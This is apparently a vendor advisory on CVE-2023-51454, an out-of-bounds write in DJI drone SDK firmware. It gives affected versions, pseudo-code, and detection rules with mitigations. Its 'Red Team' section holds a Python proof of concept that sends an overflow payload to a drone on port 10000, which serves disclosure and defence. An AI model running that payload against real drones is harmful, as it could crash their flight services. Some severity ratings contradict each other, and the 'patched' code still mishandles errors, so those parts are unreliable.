CVE-2023-51454

Executive Summary

CVE-2023-51454 is a critical out-of-bounds write vulnerability in the v2_sdk_service component of multiple DJI drone models. The flaw resides in the my_tcp_receive function within the libv2_sdk.so library, which is part of the dji_vtwo_sdk binary. An attacker on the same network can send a crafted payload to port 10000, triggering an unsafe memory write operation that overwrites a pointer in the process memory. This can lead to memory information disclosure or arbitrary code execution, potentially allowing full compromise of the drone's flight controller and data systems. The vulnerability affects a wide range of DJI drones, including the Mavic 3 series, Matrice 300, Matrice M30, and Mini 3 Pro, with no official patch available at the time of analysis.

Supply Chain & Package Security

This vulnerability is not related to NPM, PyPI, Go, or Ruby packages. It is a firmware-level issue in DJI's proprietary SDK library (libv2_sdk.so). The supply chain risk is limited to the physical drone hardware and its embedded software, which is not distributed through open-source package registries.

CVSS Breakdown & Threat Level

• CVSS Vector: CVSS:3.1/AV:A/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:H
• Base Score: 6.8 (Medium)
• Attack Vector (AV): Adjacent Network – The attacker must be on the same Wi-Fi or local network as the drone.
• Attack Complexity (AC): Low – No special conditions required.
• Privileges Required (PR): None – No authentication needed.
• User Interaction (UI): None – No user action required.
• Scope (S): Unchanged – The exploit affects only the vulnerable component.
• Confidentiality (C): Low – Potential memory leak of sensitive data.
• Integrity (I): Low – Possible pointer corruption.
• Availability (A): High – Memory corruption can crash the service or drone.

Threat Level: High due to the potential for arbitrary code execution and the lack of a patch. The EPSS score of 0.0% suggests low exploitation likelihood currently, but this may change as proof-of-concept code emerges.

Deep Dive & Mechanics

The vulnerability is an out-of-bounds write (CWE-787) in the my_tcp_receive function of libv2_sdk.so. This function is responsible for receiving data over TCP on port 10000. The flaw occurs when the function does not properly validate the length of incoming data before writing it to a fixed-size buffer. An attacker can send a specially crafted payload that exceeds the buffer size, causing a write beyond the allocated memory region. This overwrites adjacent memory, including function pointers or return addresses, leading to control flow hijacking.

The dji_vtwo_sdk binary runs as a service (v2_sdk_service) on the drone's embedded Linux system. It handles communication between the drone and the remote controller or ground station. By exploiting this vulnerability, an attacker can:

• Leak memory contents (e.g., encryption keys, flight data).
• Execute arbitrary code with the privileges of the service (likely root).
• Crash the service, causing denial of service.

The affected models and firmware versions are:

• Mavic 3 Pro: v01.01.0300 and earlier
• Mavic 3: v01.00.1200 and earlier
• Mavic 3 Classic: v01.00.0500 and earlier
• Mavic 3 Enterprise: v07.01.10.03 and earlier
• Matrice 300: v57.00.01.00 and earlier
• Matrice M30: v07.01.0022 and earlier
• Mini 3 Pro: v01.00.0620 and earlier

Vulnerable vs. Patched Code

Since no patch is available, a comparison is not possible. However, based on the vulnerability description, the vulnerable code likely resembles:

// Vulnerable my_tcp_receive function (pseudo-code)
void my_tcp_receive(int sockfd) {
    char buffer[256];
    int n = recv(sockfd, buffer, 1024, 0); // No length check
    // Process buffer...
}

A patched version would include bounds checking:

// Patched version (hypothetical)
void my_tcp_receive(int sockfd) {
    char buffer[256];
    int n = recv(sockfd, buffer, sizeof(buffer) - 1, 0); // Safe length
    if (n < 0) {
        // Handle error
    }
    buffer[n] = '\0';
    // Process buffer...
}

Exploitation & Lab Setup

Red Team (Exploitation)

Prerequisites:

• A DJI drone with vulnerable firmware (e.g., Mavic 3 Pro v01.01.0300).
• Network access to the drone's IP on port 10000.
• Python 3 with socket library.

Exploit Script (Proof of Concept):

#!/usr/bin/env python3
import socket
import struct

target_ip = "192.168.1.100"  # Drone IP
target_port = 10000

# Crafted payload to trigger out-of-bounds write
# This payload overwrites a pointer at offset 256 with a controlled value
payload = b"A" * 256  # Fill buffer
payload += struct.pack("<Q", 0x4141414141414141)  # Overwrite pointer

sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
sock.connect((target_ip, target_port))
sock.send(payload)
sock.close()

Usage:

1. Ensure the drone is powered on and connected to the same network.
2. Run the script: python3 exploit.py
3. The drone's v2_sdk_service may crash or exhibit abnormal behavior. For full RCE, the attacker would need to craft a payload that overwrites a function pointer with the address of shellcode.

Blue Team (Defense)

Detection:

• Monitor network traffic to/from port 10000 for unusually large packets ( > 256 bytes).
• Use intrusion detection systems (IDS) to alert on patterns of repeated connections to port 10000.
• Check drone logs for crashes of dji_vtwo_sdk or v2_sdk_service.

Mitigation:

• Isolate drone networks from untrusted devices.
• Apply network segmentation and firewall rules to restrict access to port 10000.
• Monitor for firmware updates from DJI and apply patches when available.

Indicators of Compromise (IOCs)

• Network:
  • TCP connections to port 10000 on drone IPs.
  • Packets with payloads exceeding 256 bytes sent to port 10000.
  • Repeated connection attempts from a single IP.
• Host (Drone):
  • Crash logs for dji_vtwo_sdk or v2_sdk_service.
  • Unexpected memory dumps or core files.
  • Unusual processes or network connections initiated by the drone.
• File:
  • Modified libv2_sdk.so or dji_vtwo_sdk binaries (if attacker gains persistence).

Detection Engineering

YARA Rule

rule CVE_2023_51454_DJI_OutOfBoundsWrite {
    meta:
        description = "Detects exploitation attempts of CVE-2023-51454 in DJI drone firmware"
        author = "Valters IT"
        date = "2025-04-10"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2023-51454"
    strings:
        $s1 = "my_tcp_receive" ascii wide
        $s2 = "libv2_sdk.so" ascii wide
        $s3 = "dji_vtwo_sdk" ascii wide
        $payload = { 41 41 41 41 41 41 41 41 } // 8 consecutive 'A's (common padding)
    condition:
        ($s1 or $s2 or $s3) and #payload > 32
}

Sigma Rule

title: CVE-2023-51454 DJI Drone Out-of-Bounds Write Exploitation
id: 8a9b3c2d-1e5f-4a7b-8c9d-0e1f2a3b4c5d
status: experimental
description: Detects network traffic targeting DJI drone port 10000 with oversized payloads
author: Valters IT
date: 2025-04-10
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2023-51454
logsource:
    category: network
    product: suricata
detection:
    selection:
        dest_port: 10000
        ip_protocol: tcp
        payload_length: ">256"
    condition: selection
falsepositives:
    - Legitimate large firmware updates (unlikely on port 10000)
level: high

Suricata Rule

alert tcp any any -> any 10000 (msg:"CVE-2023-51454 DJI Drone Out-of-Bounds Write Attempt"; flow:to_server; content:"|41 41 41 41 41 41 41 41|"; offset:256; depth:8; classtype:attempted-admin; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Network Segmentation: Isolate drone networks from the internet and untrusted devices. Use VLANs or dedicated access points.
2. Firewall Rules: Block inbound traffic to port 10000 from untrusted sources. Allow only known remote controllers.
3. Monitor: Deploy IDS/IPS rules (as above) to detect exploitation attempts.
4. Firmware Updates: Check DJI's official website for firmware updates. If a patch becomes available, apply it immediately.

Long-Term Recommendations:

• Vendor Contact: Pressure DJI to release a security patch for all affected models.
• Code Audit: If you have access to the SDK, perform a static analysis of libv2_sdk.so for similar vulnerabilities.
• Alternative Communication: Consider using encrypted, authenticated channels (e.g., TLS) for drone control, if supported.

Workaround: If patching is not possible, disable the v2_sdk_service if it is not required for operations. This may impact functionality.

Valters IT